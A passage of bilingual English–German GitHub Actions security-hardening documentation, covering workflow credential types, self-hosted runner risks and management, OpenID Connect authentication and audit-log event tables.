4. **{% data variables.product.pat_generic %}s**
- You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in.
- If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}s{% endif %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys.
5. **SSH keys on a personal account**
- Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead.
1. **`GITHUB_TOKEN`**
- Dieses Token ist bewusst auf das eine Repository beschränkt, das den Workflow aufgerufen hat, und kann dieselbe Zugriffsstufe wie Benutzer*innen mit Schreibzugriff auf das Repository aufweisen. Das Token wird erstellt, bevor die einzelnen Aufträge beginnen, und läuft ab, wenn ein Auftrag abgeschlossen ist. Weitere Informationen findest du unter [Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token) („Authentifizieren mit dem GITHUB_TOKEN“).
- `GITHUB_TOKEN` sollte wann immer möglich verwendet werden.
2. **Bereitstellungsschlüssel für Repositorys**
- Bereitstellungsschlüssel sind einer der einzigen Anmeldeinformationstypen, die Lese- oder Schreibzugriff auf ein einzelnes Repository gewähren. Diese Schlüssel können für die Interaktion mit einem anderen Repository innerhalb eines Workflows verwendet werden. Weitere Informationen findest du unter [Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) („Verwalten von Bereitstellungsschlüsseln“).
- Beachte, dass Bereitstellungsschlüssel nur mit Git im Repository geklont bzw. an das Repository gepusht und nicht für die Interaktion mit der REST- oder GraphQL-API verwendet werden können. Aus diesem Grund eignen sie sich möglicherweise nicht für deine Anforderungen.
3. **{% data variables.product.prodname_github_app %}-Token**
- {% data variables.product.prodname_github_apps %} kann in ausgewählten Repositorys installiert werden, und es können sogar differenzierte Berechtigungen für die Ressourcen innerhalb dieser Repositorys zugewiesen werden. Du kannst eine interne {% data variables.product.prodname_github_app %} für deine Organisation erstellen, diese in den Repositorys installieren, auf die du in deinem Workflow zugreifen musst, und sich als die Installation innerhalb deines Workflows authentifizieren, um auf diese Repositorys zuzugreifen.
4. **{% data variables.product.pat_generic %}**
- Du solltest niemals ein {% data variables.product.pat_v1 %} verwenden. Diese Token gewähren Zugriff auf alle Repositorys innerhalb der Organisationen, auf die du Zugriff hast, sowie auf alle persönlichen Repositorys in deinem persönlichen Konto. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet.
- Wenn du ein {% data variables.product.pat_generic %} verwendest, solltest du niemals ein {% data variables.product.pat_generic %} deines eigenen Kontos verwenden. Wenn du eine Organisation zu einem späteren Zeitpunkt verlässt, treten bei Workflows mit diesem Token umgehend Probleme auf, und das Debuggen kann schwierig sein. Stattdessen solltest du ein {% ifversion pat-v2%}{% data variables.product.pat_v2 %}{% else %}{% data variables.product.pat_generic %}{% endif %} eines neuen Kontos verwenden, das deiner Organisation gehört und dem nur Zugriff auf die Repositorys erteilt wird, die für diesen Workflow benötigt werden. Beachte, dass dieser Ansatz nicht skalierbar ist und stattdessen Alternativen wie Bereitstellungsschlüssel bevorzugt werden sollten.
5. **SSH-Schlüssel für ein persönliches Konto**
- Workflows dürfen die SSH-Schlüssel niemals für ein persönliches Konto verwenden. Diese sind mit {% data variables.product.pat_v1_plural %} vergleichbar und gewähren Lese-/Schreibberechtigungen für alle deine persönlichen Repositorys sowie alle Repositorys, auf die du über die Organisationsmitgliedschaft zugreifen kannst. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet. Wenn du beabsichtigst, einen SSH-Schlüssel zu verwenden, weil du lediglich Klon- oder Pushvorgänge für ein Repository durchführst und nicht mit öffentlichen APIs interagieren müssen, solltest du stattdessen einzelne Bereitstellungsschlüssel verwenden.
## Hardening for self-hosted runners
## Härtung für selbstgehostete Runner
{% ifversion fpt or ghec %}
**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process.
In {% ifversion fpt or ghec %} **{% data variables.product.prodname_dotcom %} gehostete** Runner führen Code innerhalb von kurzlebigen, bereinigten isolierten VMs aus. Diese Art von Umgebung kann also nicht dauerhaft kompromittiert werden. Auch ist kein Zugriff auf Informationen möglich, die über die Informationen hinausgehen, die während des Bootstrap-Prozesses in dieser Umgebung platziert wurden.
{% endif %}
{% ifversion fpt or ghec %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow.
{% ifversion fpt or ghec %}**Selbstgehostete**{% elsif ghes or ghae %}Selbstgehostete{% endif %} Runner für {% data variables.product.product_name %} bieten keine Garantien bezüglich der Ausführung in kurzlebigen bereinigten VMs und können durch nicht vertrauenswürdigen Code in einem Workflow dauerhaft gefährdet werden.
{% ifversion fpt or ghec %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner.
{% ifversion fpt or ghec %}Folglich sollten selbstgehostete Runner praktisch [nie für öffentliche Repositorys](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security) in {% data variables.product.product_name %} verwendet werden, da beliebige Benutzer*innen Pull Requests für das Repository aufrufen und die Umgebung gefährden können. Gehe ebenfalls{% elsif ghes or ghae %}Gehe{% endif %} mit Bedacht vor, wenn du selbstgehostete Runner für private oder interne Repositorys verwendest. In diesem Fall können alle Benutzer*innen, die das Repository forken und Pull Requests starten können (üblicherweise Benutzer*innen mit Lesezugriff auf das Repository), die selbstgehostete Runnerumgebung kompromittieren. Dabei kann u. a. auf Geheimnisse und das `GITHUB_TOKEN` zugegriffen werden, über das abhängig von den Einstellungen Schreibzugriff auf das Repository gewährt werden kann. Wenngleich der Zugriff auf Umgebungsgeheimnisse in Workflows durch die Verwendung von Umgebungen und erforderlichen Prüfungen gesteuert werden kann, werden diese Workflows nicht in einer isolierten Umgebung ausgeführt. Folglich müssen bei Ausführung in einem selbstgehosteten Runner dieselben Risiken berücksichtigt werden.
When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories can access runner groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
Wenn ein selbstgehosteter Runner auf Organisations- oder Unternehmensebene definiert wird, kann {% data variables.product.product_name %} Workflows aus mehreren Repositorys innerhalb desselben Runners planen. Sicherheitslücken oder Angriffe in diesen Umgebungen können also weitreichende Auswirkungen haben. Indem du deine selbstgehosteten Runner in separaten Gruppen organisierst, lässt sich der Umfang dieser Auswirkungen beschränken. Dabei kannst du einschränken, welche {% ifversion restrict-groups-to-workflows %}Workflows, {% endif %}Organisationen und Repositorys auf Runnergruppen zugreifen können. Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
You should also consider the environment of the self-hosted runner machines:
- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
Außerdem solltest du die Umgebung der Computer des selbstgehosteten Runners berücksichtigen:
- Welche vertraulichen Informationen befinden sich auf dem Computer, der als selbstgehosteter Runner konfiguriert ist? Diese Informationen können z. B. private SSH-Schlüssel, API-Zugriffstoken usw. umfassen.
- Verfügt der Computer über Netzwerkzugriff auf vertrauliche Dienste? Dazu können z. B. Azure- oder AWS-Metadatendienste zählen. Die Menge an vertraulichen Informationen in dieser Umgebung sollte auf ein Minimum beschränkt werden. Du solltest immer bedenken, dass alle Benutzer*innen, die Workflows aufrufen können, Zugriff auf diese Umgebung haben.
Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
Einige Kunden versuchen möglicherweise, diese Risiken zu mindern, indem sie Systeme implementieren, die den selbstgehosteten Runner nach jeder Auftragsausführung automatisch zerstören. Dieser Ansatz ist jedoch gegebenenfalls nicht so effektiv wie gewünscht, da nicht sichergestellt werden kann, dass ein selbstgehosteter Runner nur einen Auftrag ausführt. Einige Aufträge verwenden Geheimnisse als Befehlszeilenargumente, die für einen anderen Auftrag sichtbar sind, der im selben Runner ausgeführt wird (z. B. `ps x -w`). Folglich kann es zur Offenlegung von Geheimnissen kommen.
### Planning your management strategy for self-hosted runners
### Planen deiner Verwaltungsstrategie für selbstgehostete Runner
A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
Selbstgehostete Runner können auf verschiedenen Ebenen in deiner {% data variables.product.prodname_dotcom %}-Hierarchie hinzugefügt werden: auf Unternehmens-, Organisations- oder Repositoryebene. Durch diese Platzierung wird festgelegt, wer einen Runner verwalten kann:
**Centralized management:**
- If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
- If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
**Zentrale Verwaltung:**
- Wenn ein zentrales Team Besitzer der selbstgehosteten Runner sein soll, solltest du deine Runner auf der höchsten gemeinsamen Organisations- oder Unternehmensebene hinzuzufügen. Dadurch kann dein Team deine Runner in einer zentralen Ansicht anzeigen und verwalten.
- Wenn du nur über eine einzige Organisation verfügst, ist das Hinzufügen deiner Runner auf Organisationsebene der gleiche Ansatz. Dabei kann es jedoch zu Problemen kommen, wenn du zu einem späteren Zeitpunkt eine weitere Organisation hinzufügst.
**Decentralized management:**
- If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
- You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
**Dezentrale Verwaltung:**
- Wenn jedes Team seine eigenen selbstgehosteten Runner verwalten soll, sollten die Runner auf der höchsten Ebene des Teambesitzes hinzugefügt werden. Beispiel: Wenn jedes Team über eine eigene Organisation verfügt, ist es am einfachsten, die Runner ebenfalls auf Organisationsebene hinzuzufügen.
- Die Runner können auch auf Repositoryebene hinzugefügt werden. Da Runner in diesem Fall jedoch nicht von mehreren Repositorys gleichzeitig verwendet werden können, erhöht sich der Verwaltungsaufwand, und du benötigst eine größere Anzahl von Runnern.
{% ifversion fpt or ghec or ghes > 3.4 %}
### Authenticating to your cloud provider
### Authentifizieren bei deinem Cloudanbieter
If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."
Wenn du {% data variables.product.prodname_actions %} für die Bereitstellung bei einem Cloudanbieter verwendest oder beabsichtigst, HashiCorp Vault für die Verwaltung von Geheimnissen einzusetzen, solltest du die Verwendung von OpenID Connect in Betracht ziehen, um kurzlebige Zugriffstoken mit sorgfältig definiertem Gültigkeitsbereich für deine Workflowausführungen zu erstellen. Weitere Informationen findest du unter [About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect) („Informationen zur Sicherheitshärtung mit OpenID Connect“).
{% endif %}
## Auditing {% data variables.product.prodname_actions %} events
## Überwachen von {% data variables.product.prodname_actions %}-Ereignissen
You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which personal account performed the action.
Über das Überwachungsprotokoll kannst du administrative Aufgaben in einer Organisation überwachen. Das Überwachungsprotokoll zeichnet die Art der Aktion, den Zeitpunkt der Ausführung sowie das persönliche Konto auf, das die Aktion ausgeführt hat.
For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets:
![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
So kannst du das Überwachungsprotokoll z. B. zum Aufzeichnen des `org.update_actions_secret`-Ereignisses verwenden, mit dem sich Änderungen an Organisationsgeheimnissen nachverfolgen lassen: ![Überwachungsprotokolleinträge](/assets/images/help/repository/audit-log-entries.png)
The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see
"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)" and "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)."
In der folgenden Tabelle sind die {% data variables.product.prodname_actions %}-Ereignisse beschrieben, die im Überwachungsprotokoll enthalten sind. Weitere Informationen zur Verwendung des Überwachungsprotokolls findest du unter [Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log) („Überprüfen des Überwachungsprotokolls für deine Organisation“) und [Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise) („Überprüfen der Überwachungsprotokolle für dein Unternehmen“).
{% ifversion fpt or ghec %}
### Events for environments
### Ereignisse für Umgebungen
| Action | Description
| Aktion | BESCHREIBUNG
|------------------|-------------------
| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
| `environment.create_actions_secret` | Wird ausgelöst, wenn ein Geheimnis in einer Umgebung erstellt wird. Weitere Informationen findest du unter [Environment secrets](/actions/reference/environments#environment-secrets) („Umgebungsgeheimnisse“).
| `environment.delete` | Wird ausgelöst, wenn eine Umgebung gelöscht wird. Weitere Informationen findest du unter [Deleting an environment](/actions/reference/environments#deleting-an-environment) („Löschen einer Umgebung“).
| `environment.remove_actions_secret` | Wird ausgelöst, wenn ein Geheimnis aus einer Umgebung entfernt wird. Weitere Informationen findest du unter [Environment secrets](/actions/reference/environments#environment-secrets) („Umgebungsgeheimnisse“).
| `environment.update_actions_secret` | Wird ausgelöst, wenn ein Geheimnis in einer Umgebung aktualisiert wird. Weitere Informationen findest du unter [Environment secrets](/actions/reference/environments#environment-secrets) („Umgebungsgeheimnisse“).
{% endif %}
{% ifversion fpt or ghes or ghec %}
### Events for configuration changes
| Action | Description
### Ereignisse für Konfigurationsänderungen
| Aktion | BESCHREIBUNG
|------------------|-------------------
| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
| `repo.update_actions_access_settings` | Triggered when the setting to control how your repository is used by {% data variables.product.prodname_actions %} workflows in other repositories is changed.
| `repo.actions_enabled` | Wird ausgelöst, wenn {% data variables.product.prodname_actions %} für ein Repository aktiviert wird. Kann über die Benutzeroberfläche angezeigt werden. Dieses Ereignis ist nicht sichtbar, wenn du über die REST-API auf das Überwachungsprotokoll zugreifst. Weitere Informationen findest du unter [Using the REST API](#using-the-rest-api) („Verwenden der REST-API“).
| `repo.update_actions_access_settings` | Wird ausgelöst, wenn die Einstellung geändert wird, die steuert, wie dein Repository von {% data variables.product.prodname_actions %}-Workflows in anderen Repositorys verwendet wird.
{% endif %}
### Events for secret management
| Action | Description
### Ereignisse für die Verwaltung von Geheimnissen
| Aktion | BESCHREIBUNG
|------------------|-------------------
| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
| `org.create_actions_secret` | Wird ausgelöst, wenn ein {% data variables.product.prodname_actions %}-Geheimnis für eine Organisation erstellt wird. Weitere Informationen findest du unter [Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization) („Erstellen von verschlüsselten Geheimnissen für eine Organisation“).
| `org.remove_actions_secret` | Wird ausgelöst, wenn ein {% data variables.product.prodname_actions %}-Geheimnis entfernt wird.
| `org.update_actions_secret` | Wird ausgelöst, wenn ein {% data variables.product.prodname_actions %}-Geheimnis aktualisiert wird.
| `repo.create_actions_secret ` | Wird ausgelöst, wenn ein {% data variables.product.prodname_actions %}-Geheimnis für ein Repository erstellt wird. Weitere Informationen findest du unter [Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository) („Erstellen von verschlüsselten Geheimnissen für ein Repository“).
| `repo.remove_actions_secret` | Wird ausgelöst, wenn ein {% data variables.product.prodname_actions %}-Geheimnis entfernt wird.
| `repo.update_actions_secret` | Wird ausgelöst, wenn ein {% data variables.product.prodname_actions %}-Geheimnis aktualisiert wird.
### Events for self-hosted runners
| Action | Description
### Ereignisse für selbstgehostete Runner
| Aktion | BESCHREIBUNG
|------------------|-------------------
| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)."
| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed.
| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).
| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."
| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
| `enterprise.register_self_hosted_runner` | Wird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter [Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise) („Hinzufügen eines selbstgehosteten Runners zu einem Unternehmen“).
| `enterprise.remove_self_hosted_runner` | Wird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird.
| `enterprise.runner_group_runners_updated` | Wird ausgelöst, wenn die Mitgliederliste einer Runnergruppe aktualisiert wird. Weitere Informationen findest du unter [Festlegen selbstgehosteter Runner in einer Gruppe für eine Organisation](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization).
| `enterprise.self_hosted_runner_online` | Wird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner) („Überprüfen des Status eines selbstgehosteten Runners“).
| `enterprise.self_hosted_runner_offline` | Wird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Überprüfen des Status eines selbstgehosteten Runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner).
| `enterprise.self_hosted_runner_updated` | Wird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Dieses Ereignis ist nicht enthalten, wenn du das Überwachungsprotokoll als JSON-Daten oder CSV-Datei exportierst. Weitere Informationen findest du unter [About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners) („Informationen zu selbstgehosteten Runnern“) und [Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log) („Überprüfen des Überwachungsprotokolls für deine Organisation“).
| `org.register_self_hosted_runner` | Wird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter [Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization) („Hinzufügen eines selbstgehosteten Runners zu einer Organisation“).
| `org.remove_self_hosted_runner` | Wird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird. Weitere Informationen findest du unter [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization) („Entfernen eines Runners aus einer Organisation“).
| `org.runner_group_runners_updated` | Wird ausgelöst, wenn die Mitgliederliste einer Runnergruppe aktualisiert wird. Weitere Informationen findest du unter [Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization) („Festlegen von selbstgehosteten Runnern in einer Gruppe für eine Organisation“).
| `org.runner_group_updated` | Wird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter [Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group).
| `org.self_hosted_runner_online` | Wird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner) („Überprüfen des Status eines selbstgehosteten Runners“).
| `org.self_hosted_runner_offline` | Wird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Überprüfen des Status eines selbstgehosteten Runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner).
| `org.self_hosted_runner_updated` | Wird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners).
| `repo.register_self_hosted_runner` | Wird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter [Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository) („Hinzufügen eines selbstgehosteten Runners zu einem Repository“).
| `repo.remove_self_hosted_runner` | Wird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird. Weitere Informationen findest du unter [Entfernen eines Runners aus einem Repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository).
| `repo.self_hosted_runner_online` | Wird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter [Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner) („Überprüfen des Status eines selbstgehosteten Runners“).
